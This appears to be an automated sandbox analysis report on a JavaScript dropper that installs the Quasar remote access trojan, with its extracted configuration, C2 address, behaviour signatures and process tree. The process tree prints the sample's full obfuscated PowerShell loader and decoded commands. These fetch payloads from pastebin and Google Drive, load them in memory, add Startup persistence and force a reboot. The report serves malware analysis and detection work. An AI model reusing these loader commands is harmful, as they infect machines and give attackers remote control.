Analysis
- max time kernel
150s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
24/07/2024, 00:59
General
- Target Pix_id8680.js
- Size 18KB
- Sample240724-bb5m9aydpm
- SHA256 e38b8f0ae53c24d62f7b0580891be2bfc4a3c855dcf2ee01fc64c0439777bdc9
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
https://pastebin.com/raw/gk5zDwdG
-
exe.dropper
https://drive.google.com/uc?export=download&id=
Extracted
Family
-
quasar
Version
-
2.8.0.1
Botnet
-
Recomeco
C2
-
15.235.61.212:5552
Mutex
-
rQp3LFG3Jkv7ob8MOH
Attributes
-
encryption_key
VYA1GjjnuckdAWisXsLT
-
install_name
Venom.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Venom Client Startup
Signatures
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Blocklisted process makes network request 4 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 18 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $FDGOy_TzTjf = 'JレBWレGUレcgBwレG8レdwBlレHIレIレレ9レCレレJレBoレG8レcwB0レC4レVgBlレHIレcwBpレG8レbgレuレE0レYQBqレG8レcgレuレEUレcQB1レGEレbレBzレCgレMgレpレDsレSQBmレCレレKレレkレFYレZQByレHレレbwB3レGUレcgレpレCレレewレkレHレレYQBzレHQレYQレgレD0レIレBbレFMレeQBzレHQレZQBtレC4レSQBPレC4レUレBhレHQレaレBdレDoレOgBHレGUレdレBUレGUレbQBwレFレレYQB0レGgレKレレpレDsレZレBlレGwレIレレoレCQレcレBhレHMレdレBhレCレレKwレgレCcレXレBVレHレレdwBpレG4レLgBtレHMレdQレnレCkレOwレkレFUレUgBMレEsレQgレgレD0レIレレnレGgレdレB0レHレレcwレ6レC8レLwBkレHIレaQB2レGUレLgBnレG8レbwBnレGwレZQレuレGMレbwBtレC8レdQBjレD8レZQB4レHレレbwByレHQレPQBkレG8レdwBuレGwレbwBhレGQレJgBpレGQレPQレnレDsレJレBXレGkレbgBWレGUレcgレgレD0レIレレkレGUレbgB2レDoレUレBSレE8レQwBFレFMレUwBPレFIレXwBBレFIレQwBIレEkレVレBFレEMレVレBVレFIレRQレuレEMレbwBuレHQレYQBpレG4レcwレoレCcレNgレ0レCcレKQレ7レGkレZgレgレCgレJレBXレGkレbgBWレGUレcgレpレCレレewレkレFUレUgBMレEsレQgレgレD0レIレレoレCQレVQBSレEwレSwBCレCレレKwレgレCcレVwレxレDEレMgBBレGQレUレBmレEkレMレBQレEMレNwBoレGIレcwBjレGkレXwレ1レF8レMレBfレGUレVQレ3レE4レdwBNレFoレaレBmレDQレeレレnレCkレIレレ7レH0レZQBsレHMレZQレgレHsレJレBVレFIレTレBLレEIレIレレ9レCレレKレレkレFUレUgBMレEsレQgレgレCsレIレレnレDEレYgByレGoレNQBqレHEレbgBxレFIレeレBDレEQレNgBWレGgレZgBoレEEレbgレyレHIレYwBWレGYレcwBSレG8レNwBEレDgレZwByレCcレKQレgレDsレfQレ7レCQレTwBDレFIレaQBhレCレレPQレgレCgレTgBlレHcレLQBPレGIレagBlレGMレdレレgレE4レZQB0レC4レVwBlレGIレQwBsレGkレZQBuレHQレKQレgレDsレJレBPレEMレUgBpレGEレLgBFレG4レYwBvレGQレaQBuレGcレIレレ9レCレレWwBTレHkレcwB0レGUレbQレuレFQレZQB4レHQレLgBFレG4レYwBvレGQレaQBuレGcレXQレ6レDoレVQBUレEYレOレレgレDsレJレBPレEMレUgBpレGEレLgBEレG8レdwBuレGwレbwBhレGQレRgBpレGwレZQレoレCQレVQBSレEwレSwBCレCwレIレレkレHレレYQBzレHQレYQレgレCsレIレレnレFwレVQBwレHcレaQBuレC4レbQBzレHUレJwレpレCレレOwレkレEYレbwBsレGQレUwB0レGEレcgB0レHUレcレレgレD0レIレレoレCcレQwレ6レFwレVQBzレGUレcgBzレFwレJwレgレCsレIレBbレEUレbgB2レGkレcgBvレG4レbQBlレG4レdレBdレDoレOgBVレHMレZQByレE4レYQBtレGUレIレレpレDsレJレBmレGkレbレBlレCレレPQレgレCgレJレBwレGEレcwB0レGEレIレレrレCレレJwBcレFUレcレB3レGkレbgレuレG0レcwB1レCcレKQレ7レCレレcレBvレHcレZQByレHMレaレBlレGwレbレレuレGUレeレBlレCレレdwB1レHMレYQレuレGUレeレBlレCレレJレBmレGkレbレBlレCレレLwBxレHUレaQBlレHQレIレレvレG4レbwByレGUレcwB0レGEレcgB0レCレレOwレgレEMレbwBwレHkレLQBJレHQレZQBtレCレレJwレlレEQレQwBQレEoレVQレlレCcレIレレtレEQレZQBzレHQレaQBuレGEレdレBpレG8レbgレgレCgレIレレkレEYレbwBsレGQレUwB0レGEレcgB0レHUレcレレgレCsレIレレnレFwレQQBwレHレレRレBhレHQレYQBcレFIレbwBhレG0レaQBuレGcレXレBNレGkレYwByレG8レcwBvレGYレdレBcレFcレaQBuレGQレbwB3レHMレXレBTレHQレYQByレHQレIレBNレGUレbgB1レFwレUレByレG8レZwByレGEレbQBzレFwレUwB0レGEレcgB0レHUレcレレnレCレレKQレgレC0レZgBvレHIレYwBlレCレレOwBwレG8レdwBlレHIレcwBoレGUレbレBsレC4レZQB4レGUレIレレtレGMレbwBtレG0レYQBuレGQレIレレnレHMレbレBlレGUレcレレgレDEレOレレwレCcレOwレgレHMレaレB1レHQレZレBvレHcレbgレuレGUレeレBlレCレレLwByレCレレLwB0レCレレMレレgレC8レZgレgレH0レZQBsレHMレZQレgレHsレWwBTレHkレcwB0レGUレbQレuレE4レZQB0レC4レUwBlレHIレdgBpレGMレZQBQレG8レaQBuレHQレTQBhレG4レYQBnレGUレcgBdレDoレOgBTレGUレcgB2レGUレcgBDレGUレcgB0レGkレZgBpレGMレYQB0レGUレVgBhレGwレaQBkレGEレdレBpレG8レbgBDレGEレbレBsレGIレYQBjレGsレIレレ9レCレレewレkレHQレcgB1レGUレfQレ7レFsレUwB5レHMレdレBlレG0レLgBOレGUレdレレuレFMレZQByレHYレaQBjレGUレUレBvレGkレbgB0レE0レYQBuレGEレZwBlレHIレXQレ6レDoレUwBlレGMレdQByレGkレdレB5レFレレcgBvレHQレbwBjレG8レbレレgレD0レIレBbレFMレeQBzレHQレZQBtレC4レTgBlレHQレLgBTレGUレYwB1レHIレaQB0レHkレUレByレG8レdレBvレGMレbwBsレFQレeQBwレGUレXQレ6レDoレVレBsレHMレMQレyレDsレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレIレレ9レCレレKレBOレGUレdwレtレE8レYgBqレGUレYwB0レCレレTgBlレHQレLgBXレGUレYgBDレGwレaQBlレG4レdレレpレDsレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレLgBFレG4レYwBvレGQレaQBuレGcレIレレ9レCレレWwBTレHkレcwB0レGUレbQレuレFQレZQB4レHQレLgBFレG4レYwBvレGQレaQBuレGcレXQレ6レDoレVQBUレEYレOレレ7レCQレYQB2レFレレQwBhレF8レWgBiレEsレaQBzレCレレPQレgレCQレYQB2レFレレQwBhレF8レZwBxレEEレYQB1レC4レRレBvレHcレbgBsレG8レYQBkレFMレdレByレGkレbgBnレCgレIレレnレGgレdレB0レHレレcwレ6レC8レLwBwレGEレcwB0レGUレYgBpレG4レLgBjレG8レbQレvレHIレYQB3レC8レZwBrレDUレegBEレHcレZレBHレCcレIレレpレDsレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレIレレ9レCレレJレBhレHYレUレBDレGEレXwBnレHEレQQBhレHUレLgBEレG8レdwBuレGwレbwBhレGQレUwB0レHIレaQBuレGcレKレレgレCQレYQB2レFレレQwBhレF8レWgBiレEsレaQBzレCレレKQレ7レFsレQgB5レHQレZQBbレF0レXQレgレCQレYQB2レFレレQwBhレF8レVQBRレFレレcレBaレCレレPQレgレFsレUwB5レHMレdレBlレG0レLgBDレG8レbgB2レGUレcgB0レF0レOgレ6レEYレcgBvレG0レQgBhレHMレZQレ2レDQレUwB0レHIレaQBuレGcレKレレgレCQレYQB2レFレレQwBhレF8レZwBxレEEレYQB1レC4レUgBlレHレレbレBhレGMレZQレoレCレレJwCTIToレkyEnレCレレLレレgレCcレQQレnレCレレKQレgレCkレOwBbレFMレeQBzレHQレZQBtレC4レQQBwレHレレRレBvレG0レYQBpレG4レXQレ6レDoレQwB1レHIレcgBlレG4レdレBEレG8レbQBhレGkレbgレuレEwレbwBhレGQレKレレgレCQレYQB2レFレレQwBhレF8レVQBRレFレレcレBaレCレレKQレuレEcレZQB0レFQレeQBwレGUレKレレgレCcレQwBsレGEレcwBzレEwレaQBiレHIレYQByレHkレMwレuレEMレbレBhレHMレcwレxレCcレIレレpレC4レRwBlレHQレTQBlレHQレaレBvレGQレKレレgレCcレcレByレEYレVgBJレCcレIレレpレC4レSQBuレHYレbwBrレGUレKレレkレG4レdQBsレGwレLレレgレFsレbwBiレGoレZQBjレHQレWwBdレF0レIレレoレCレレJwB0レHgレdレレuレDEレLwレyレDEレMgレuレDEレNgレuレDUレMwレyレC4レNQレxレC8レLwレ6レHレレdレB0レGgレJwレgレCwレIレレnレCUレRレBDレFレレSgBVレCUレJwレsレCレレJwBUレHIレdQBlレCcレIレレpレCレレKQレ7レH0レOwレ=';$FDGOy_TzTjf = $FDGOy_TzTjf.replace('レ','A');$FDGOy_TzTjf = [System.Convert]::FromBase64String( $FDGOy_TzTjf ) ;$FDGOy_TzTjf = [System.Text.Encoding]::Unicode.GetString( $FDGOy_TzTjf );$FDGOy_TzTjf = $FDGOy_TzTjf.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js');powershell $FDGOy_TzTjf2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verpower = $host.Version.Major.Equals(2);If ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$URLKB = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($WinVer) {$URLKB = ($URLKB + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$URLKB = ($URLKB + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$OCRia = (New-Object Net.WebClient) ;$OCRia.Encoding = [System.Text.Encoding]::UTF8 ;$OCRia.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$avPCa_gqAau = (New-Object Net.WebClient);$avPCa_gqAau.Encoding = [System.Text.Encoding]::UTF8;$avPCa_ZbKis = $avPCa_gqAau.DownloadString( 'https://pastebin.com/raw/gk5zDwdG' );$avPCa_gqAau = $avPCa_gqAau.DownloadString( $avPCa_ZbKis );[Byte[]] $avPCa_UQPpZ = [System.Convert]::FromBase64String( $avPCa_gqAau.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $avPCa_UQPpZ ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'txt.1/212.16.532.51//:ptth' , 'C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js', 'True' ) );};"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft SyS\\x2.ps1"4⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft SyS\ejslm.ps1"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Pix_id8680.js"4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
ejslm.ps1
x2.ps1
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_14ecgmkd.nrw.ps1
memory/60-61-0x00000000052A0000-0x0000000005306000-memory.dmp
memory/60-62-0x00000000058F0000-0x0000000005902000-memory.dmp
memory/60-63-0x00000000064F0000-0x000000000652C000-memory.dmp
memory/60-59-0x0000000005920000-0x0000000005EC4000-memory.dmp
memory/60-60-0x0000000005370000-0x0000000005402000-memory.dmp
memory/60-64-0x0000000006C30000-0x0000000006C3A000-memory.dmp
memory/60-57-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/2368-56-0x0000011BE4B10000-0x0000011BE4B1A000-memory.dmp
memory/3296-42-0x00007FFE6B120000-0x00007FFE6BBE1000-memory.dmp
memory/3296-0-0x00007FFE6B123000-0x00007FFE6B125000-memory.dmp
memory/3296-12-0x00007FFE6B120000-0x00007FFE6BBE1000-memory.dmp
memory/3296-11-0x00007FFE6B120000-0x00007FFE6BBE1000-memory.dmp
memory/3296-1-0x0000021873350000-0x0000021873372000-memory.dmp
memory/5064-22-0x000002EFC1EF0000-0x000002EFC1EFA000-memory.dmp